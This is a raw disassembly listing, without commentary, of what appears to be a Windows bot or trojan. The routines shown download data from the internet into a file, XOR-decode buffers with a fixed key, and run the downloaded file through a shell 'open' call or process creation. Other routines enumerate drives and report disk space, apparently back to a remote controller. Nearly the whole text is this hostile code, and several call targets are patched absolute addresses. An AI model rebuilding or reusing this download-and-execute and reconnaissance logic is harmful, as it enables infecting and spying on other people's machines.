					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------


loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB00C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h


loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax


loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2740000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 26E0000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFC4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAF8C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]


loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		call	near ptr 2640871h
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374B0
		push	eax
		call	sub_41B886


loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h


loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h


loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB00C


loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26C0000h


loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_437498
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26C0000h
		nop


loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26E08D2h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437614
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 2640871h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_4375E4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375C4


loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------


loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h


loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAF70
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_437498
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26C0000h


loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437598
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h


loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB00C


loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26C0000h


loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAE78
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 26E08D2h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4377E0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26C0000h
		nop


loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		nop
		call	near ptr 2670B87h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAE80
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx


loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 26D0000h
		nop
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]


loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3


loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377B8
		jmp	short loc_416593
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437790


loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCB0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA


loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437764
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		call	near ptr 2670B87h
		nop
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 2640871h
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43773C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437704
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAEE0
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_4376E8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------


loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376A4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D128
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2640AE7h
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAECC
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437670
		jmp	short loc_416891
; ---------------------------------------------------------------------------


loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437644


loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFA8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26C0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907


loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BA8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi


loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------


loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFD4
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437834
		retn
; ---------------------------------------------------------------------------


loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437830
		retn
; ---------------------------------------------------------------------------


loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE64
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------


loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437884
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------


loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437848
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------


loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAEDC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAEDC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1


loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
